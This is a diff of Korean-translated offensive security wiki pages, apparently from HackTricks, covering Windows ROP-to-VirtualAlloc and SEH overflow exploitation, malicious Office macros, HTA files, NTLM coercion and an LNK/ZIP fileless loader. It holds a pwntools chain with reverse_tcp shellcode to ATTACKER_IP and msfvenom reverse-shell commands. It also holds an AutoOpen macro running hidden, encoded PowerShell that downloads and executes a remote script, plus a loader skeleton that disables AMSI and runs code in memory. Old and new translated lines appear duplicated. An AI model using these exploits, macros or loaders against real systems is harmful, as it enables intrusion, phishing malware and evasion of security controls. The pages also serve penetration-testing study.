- RCX = lpAddress → 현재 stack (e.g., RSP)에서 주소를 선택하여 새로 할당된 RWX 영역이 payload와 겹치게 한
- RDX = dwSize → chain + shellcode를 담기 충분히 큰 값 (e.g., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
1) ASLR 하에서 gadget과 IAT의 절대 주소를 계산하기 위해 모듈 베이스를 leak(예: format-string, object pointer 등)을 통해 획득한다.
2) RCX/RDX/R8/R9를 로드할 수 있는 gadgets(pop 또는 mov/xor 기반 시퀀스)과 call/jmp [VirtualAlloc@IAT]를 찾는다. 만약 pop r8/r9가 직접 없다면 산술 gadgets를 사용해 상수를 합성한다(예: r8=0으로 설정한 뒤 r9에 0x40을 40번 더해 0x1000을 만든다).
3) stage-2 shellcode를 체인 바로 뒤에 배치한다.
Example layout (conceptual):
```
@ -104,10 +104,10 @@ POP_RDX_RET; 0x1000
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
제한된 gadget 세트로 레지스터 값을 간접적으로 구성할 수 있습니다. 예를 들면:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → rbx에서 r9를 설정하고, r8을 0으로 만들며, 스택을 junk qword로 보정합니다.
- xor rbx, rsp; ret → 현재 스택 포인터 값으로 rbx를 초기화합니다.
- push rbx; pop rax; mov rcx, rax; ret → RSP 유래 값을 RCX로 옮깁니다.
제한된 gadget 세트로 register 값을 간접적으로 구성할 수 있습니다. 예를 들어:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9을 rbx에서 설정하고, r8을 0으로 만들며, 쓰레기 qword로 스택을 보정합니다.
- xor rbx, rsp; ret → 현재 스택 포인터로 rbx를 설정합니다.
- push rbx; pop rax; mov rcx, rax; ret → RSP로부터 유도된 값을 RCX로 이동합니다.
Pwntools 스케치 (given a known base and gadgets):
```python
@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Tips:
- VirtualProtect는 기존 버퍼를 RX로 만드는 것이 더 바람직한 경우에도 유사하게 동작합니다; 매개변수 순서는 다릅니다.
- 스택 공간이 부족하면 스택을 재사용하는 대신 다른 곳에 RWX를 할당(RCX=NULL)하고 그 새 영역으로 jmp하세요.
- RSP를 조정하는 gadgets(e.g., add rsp, 8; ret)을 항상 고려하여 정크 qwords를 삽입하세요.
:
- VirtualProtect는 기존 버퍼를 RX로 만드는 것이 더 적합한 경우 비슷하게 동작합니다; 매개변수 순서만 다릅니다.
- stack 공간이 빡빡하면 RWX를 다른 곳에 할당(RCX=NULL)하고 스택을 재사용하지 말고 그 새 영역으로 jmp하세요.
- RSP를 조정하는 gadgets(e.g., add rsp, 8; ret)을 항상 고려하여 junk qwords를 삽입하세요.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **비활성화되어야 합니다**. 주소가 실행마다 달라질 수 있으므로 함수가 저장될 주소가 항상 같지 않아 win 함수가 어디에 로드되는지 알아내려면 어떤 leak이 필요합니다.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **또한 비활성화되어야 합니다**. 그렇지 않으면 손상된 EIP 리턴 주소가 정상적으로 이어지지 않습니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 보호는 스택 내부의 shellcode 실행을 방지합니다. 해당 영역이 실행 불가능하기 때문입니다.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **비활성화되어야 합니다**. 그렇지 않으면 주소가 실행 간 신뢰할 수 없어서 함수가 저장될 주소가 항상 같지 않으며 win 함수가 어디에 로드되었는지 알아내려면 어떤 leak가 필요합니다.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 또한 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 실행되지 않습니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection은 스택 내부의 shellcode 실행을 방지합니다. 해당 영역이 실행 불가능하기 때문입니다.
## 기타 예제 및 참고
## 기타 예제 및 참고자료
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR와 stack 주소 leak, shellcode를 작성하고 그 위치로 점프
- 64bit, ASLR 환경에서 stack 주소 leak, shellcode를 작성하고 해당 위치로 jump
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR와 stack leak, shellcode를 작성하고 그 위치로 점프
- 32 bit, ASLR 환경에서 stack leak, shellcode를 작성하고 해당 위치로 jump
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR와 stack leak, exit() 호출을 방지하기 위한 비교, 변수를 값으로 덮어쓴 뒤 shellcode를 작성하고 그 위치로 점프
- 32 bit, ASLR 환경에서 stack leak, exit() 호출을 방지하기 위한 비교, 변수에 값을 덮어쓰고 shellcode를 작성해 해당 위치로 jump
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, ASLR 없음, ROP gadget으로 stack을 실행 가능하게 만들고 stack의 shellcode로 점프
- arm64, ASLR 없음, ROP gadget으로 stack을 executable하게 만들고 stack의 shellcode로 jump
## 참고자료

View File

@ -1,25 +1,25 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
# Windows SEH 기반 스택 오버플로우 익스플로잇 (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
SEH 기반 익스플로잇은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법입니다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
- nSEH: 다음 SEH 레코드에 대한 포인터, and
- SEH: 예외 처리기 함수에 대한 포인터
- nSEH: 다음 SEH 레코드를 가리키는 포인터, 및
- SEH: 예외 핸들러 함수의 포인터
공격자는 다음 방법으로 실행 제어를 획득할 수 있다:
공격자는 다음과 같이 실행 흐름을 제어할 수 있습니다:
1) 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고
2) nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다.
1) SEH를 SafeSEH 등이 적용되지 않은(non-protected) 모듈의 POP POP RET 가젯 주소로 설정하여, 예외가 발생했을 때 그 가젯이 공격자가 제어하는 바이트로 리턴하도록 하고,
2) nSEH를 사용해 실행을 (보통 짧은 점프) 오버플로우로 채워진 큰 버퍼(여기에 shellcode가 위치함)로 되돌립니다.
이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다.
이 기법은 32-bit 프로세스(x86)에만 해당합니다. 현대 시스템에서는 가젯으로 SafeSEH와 ASLR이 적용되지 않은 모듈을 선호합니다. C-strings 및 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF) 같은 bad characters가 포함됩니다.
---
## 정확한 오프셋 찾기 (nSEH / SEH)
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인).
- 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다.
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인하세요 (예: x32dbg/x64dbg에서 SEH 뷰를 확인).
- 오버플로우 데이터로 cyclic pattern을 전송하고 nSEH와 SEH에 도달하는 두 dword의 오프셋을 계산하세요.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요.
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
---
## Choosing a POP POP RET (SEH gadget)
SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요:
You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: `p32(0x004094D8)`). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요.
Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow.
---
## Jump-back technique (short + near jmp)
nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(`EB xx`)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요.
nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
nasmshell에서:
With nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
@ -61,7 +61,7 @@ EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
nSEH가 offset 660에 있는 1000-byte payload 레이아웃 아이디어:
nSEH가 offset 660에 있는 1000-byte payload에 대한 레이아웃 아이디어:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
@ -72,16 +72,16 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc
payload += b"D" * (buffer_length - len(payload))
```
실행 흐름:
- 예외가 발생하 디스패처가 덮어쓴 SEH를 사용한다.
- POP POP RET가 언와인드되어 우리 nSEH로 진입한다.
- nSEH가 `jmp short -8`를 실행하여 5바이트 near jump로 들어간다.
- Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다.
- 예외가 발생하 디스패처가 덮어쓴 SEH를 사용한다.
- POP POP RET가 언와인드되어 우리 nSEH로 진입한다.
- nSEH가 `jmp short -8`를 실행하여 5-byte near jump로 점프한다.
- Near jump가 우리의 버퍼 시작 부분에 착지하여 NOP sled + shellcode가 위치한 곳으로 이동한다.
---
## Bad characters
전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다.
전체 badchar 문자열을 만들고 크래시 후 스택 메모리를 비교하여 대상 파서에 의해 변형된 바이트를 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for
## Shellcode 생성 (x86)
msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다.
msfvenom을 자신의 badchars와 함께 사용하세요. 작은 NOP sled는 착지 위치의 오차를 허용하는 데 도움이 됩니다.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다:
즉석에서 생성하는 경우, hex 형식은 Python에서 embed하고 unhex하기에 편리합니다:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Delivering over HTTP (precise CRLF + Content-Length)
## HTTP로 전달하기 (precise CRLF + Content-Length)
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라.
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLF와 Content-Length를 포함한 raw request를 제작하여 서버가 전체 오버플로우된 본문을 읽도록 하라.
```python
# pip install pwntools
from pwn import remote
@ -127,21 +127,21 @@ p.close()
## 도구
- x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해.
- ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해: `ERC --SEH`.
- 대안으로 Mona: `!mona modules`, `!mona seh`.
- nasmshell short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
- pwntools로 정밀한 네트워크 페이로드를 제작하기 위해.
- x32dbg/x64dbg — SEH 체인을 관찰하고 크래시를 triage(분류)하기 위해.
- ERC.Xdbg (x64dbg 플러그인) — SEH gadgets 열거: `ERC --SEH`.
- Mona — 대안으로: `!mona modules`, `!mona seh`.
- nasmshell short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
- pwntools — 정밀한 네트워크 payload를 제작하기 위해.
---
## 참고 및 주의사항
## 노트 및 주의사항
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
- 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선적으로 사용하세요. 그렇지 않다면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
- 크래시 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
## References
## 참고자료
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

View File

@ -1,40 +1,40 @@
# 피싱 파일 및 문서
# Phishing 파일 및 문서
{{#include ../../banners/hacktricks-training.md}}
## Office 문서
Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾼 경우 Microsoft Word에서 처리되어 매크로를 실행할 수 있습니다.\
동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint 등)의 모든 소프트웨어에 적용됩니다.
일반적으로 매크로를 포함한 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 처리되어 매크로를 실행할 수 있게 됩니다.\
동일한 내부 구조와 메커니즘이 Microsoft Office Suite 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
You can use the following command to check which extensions are going to be executed by some Office programs:
다음 명령을 사용하여 일부 Office 프로그램에서 어떤 확장자가 실행될지 확인할 수 있습니다:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX 파일이 원격 템플릿(File Options Add-ins Manage: Templates Go)을 참조하고, 해당 템플릿에 macros가 포함되어 있으면 문서에서 macros를 “실행”할 수도 있다.
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### 외부 이미지 로드
이동: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
다음으로 이동: _Insert --> Quick Parts --> Field_\
_**카테고리**: Links and References, **필드 이름**: includePicture, 그리고 **파일명 또는 URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
### 매크로 백도어
문서에서 macros를 사용해 임의의 코드를 실행하는 것이 가능하다.
매크로를 사용해 문서에서 임의 코드를 실행할 수 있다.
#### Autoload functions
흔할수록 AV가 탐지할 가능성이 높아진다.
일반적일수록 AV가 탐지할 가능성이 높다.
- AutoOpen()
- Document_Open()
#### Macros 코드 예시
#### 매크로 코드 예제
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,14 +64,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### 메타데이터 수동 제거
#### 수동으로 메타데이터 제거
**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 나타납니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭하세요.
다음으로 이동: **File > Info > Inspect Document > Inspect Document**, 그러면 Document Inspector가 표시됩니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
#### 문서 확장자
완료되면 **저장 형식** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
이유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로가 활성화된 **`.docm`** 확장자에는 **낙인** **이 존재합니다**(예: 썸네일 아이콘에 큰 `!`가 표시되어 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **레거시 `.doc` 확장자가 최선의 절충안입니다**.
작업이 끝나면 **Save as type** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
이유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로 사용 **`.docm`** 확장자에는 오명이 있기 때문입니다(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이에서 완전히 차단됨). 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안**입니다.
#### 악성 매크로 생성기
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## HTA 파일
HTA는 **HTML 및 스크립트 언어(예: VBScript 및 JScript)를 결합하는** Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전 신뢰" 애플리케이션으로 실행됩니다.
HTA는 Windows 프로그램으로, **HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합**합니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 '완전히 신뢰된' 애플리케이션으로 실행됩니다.
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치되어** 있는 **Internet Explorer**와 함께 제공되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 Internet Explorer가 제거된 경우 HTA는 실행할 수 없습니다.
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치**될 때 **Internet Explorer**와 함께 설치됩니다. 따라서 **`mshta`는 IE에 의존**합니다. 만약 IE가 제거된 경우 HTA는 실행되지 않습니다.
```html
<--! Basic HTA Execution -->
<html>
@ -140,9 +140,9 @@ self.close
```
## NTLM 인증 강제
여러 방법으로 **NTLM 인증을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가할 수 있습니다(심지어 HTTP MitM?). 또는 피해자에게 **폴더 열기만으로도** **인증을 유발**하는 **파일의 주소**를 보낼 수도 있습니다.
원격으로 NTLM 인증을 **강제**하는 방법은 여러 가지가 있다. 예를 들어 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가(심지어 HTTP MitM?)하거나, 희생자에게 폴더를 여는 것만으로 **인증**을 **유발**하는 **파일의 주소**를 보낼 수 있다.
**다음 페이지에서 이러한 아이디어들과 더 많은 내용을 확인하세요:**
**다음 페이지에서 이 아이디어들과 더 많은 내용을 확인하세요:**
{{#ref}}
@ -156,24 +156,24 @@ self.close
### NTLM Relay
hash 또는 authentication을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행할 수 있다는 점을 잊지 마세요**:
해시나 인증을 훔치는 것뿐만 아니라 **NTLM relay attacks**도 수행할 수 있다는 점을 잊지 마세요:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
매우 효과적인 캠페인은 두 개의 합법적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell 로더가 고유한 마커 뒤 ZIP의 원시 바이트에 저장되어 있고, .lnk가 이를 파싱하여 메모리에서 완전히 실행한다는 점입니다.
매우 효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 전달한다. 핵심은 실제 PowerShell loader가 ZIP의 raw bytes 내 고유 마커 이후에 저장되어 있고, .lnk가 그것을 추출하여 메모리에서 완전히 실행한다는 점이다.
.lnk PowerShell one-liner가 구현하는 전형적인 흐름:
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 그리고 현재 작업 디렉터리의 부모 등 일반적인 경로에서 원본 ZIP을 찾는다.
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다.
3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 합법적으로 보이기 위해 미끼 .docx를 연다.
4) 현재 프로세스에서 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 상위 폴더 등 일반 경로에서 원본 ZIP을 찾는다.
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다.
3) ZIP을 %ProgramData%로 복사하고 거기에서 압축을 풀며, 정상처럼 보이기 위해 미끼 .docx를 연다.
4) 현재 프로세스에서 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행한다.
임베디드 스테이지를 추출하여 실행하기 위한 PowerShell 예시 골격:
임베디드 스테이지를 추출하고 실행하기 위한 예시 PowerShell 스켈레톤:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -190,24 +190,24 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
참고
노트
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc을 통해 실행합니다.
- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc를 통해 실행한다.
동일 체인에서 사용되는 Persistence
- Microsoft Web Browser control의 COM TypeLib hijacking으로 IE/Explorer나 이를 임베드한 앱이 페이로드를 자동으로 재실행하도록 합니다. 자세한 내용과 즉시 사용 가능한 명령은 다음에서 확인하세요:
같은 체인에서 사용된 Persistence
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- 아카이브 데이터 끝에 ASCII 마커 문자열(예: xFIQCV)이 추가된 ZIP 파일.
- .lnk가 상위/사용자 폴더를 열거하여 ZIP을 찾고 미끼 문서를 엽니다.
- AMSI 변조 via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- 신뢰된 PaaS 도메인에 호스팅된 링크로 끝나는 장시간 실행 비즈니스 스레드.
헌팅/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- AMSI 변조: [System.Management.Automation.AmsiUtils]::amsiInitFailed 사용.
- 장기간 실행되는 비즈니스 스레드가 신뢰된 PaaS 도메인에 호스팅된 링크로 끝.
## 참고
## 참고자료
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)

File diff suppressed because it is too large Load Diff

View File

@ -1,255 +1,258 @@
# ARM64v8 소개
# Introduction to ARM64v8
{{#include ../../../banners/hacktricks-training.md}}
## **예외 수준 - EL (ARM64v8)**
## **Exception Levels - EL (ARM64v8)**
ARMv8 아키텍처에서 실행 수준은 예외 수준(EL)으로 알려져 있으며, 실행 환경의 권한 수준과 기능을 정의합니다. EL0에서 EL3까지 네 가지 예외 수준이 있으며, 각각 다른 목적을 가지고 있습니다:
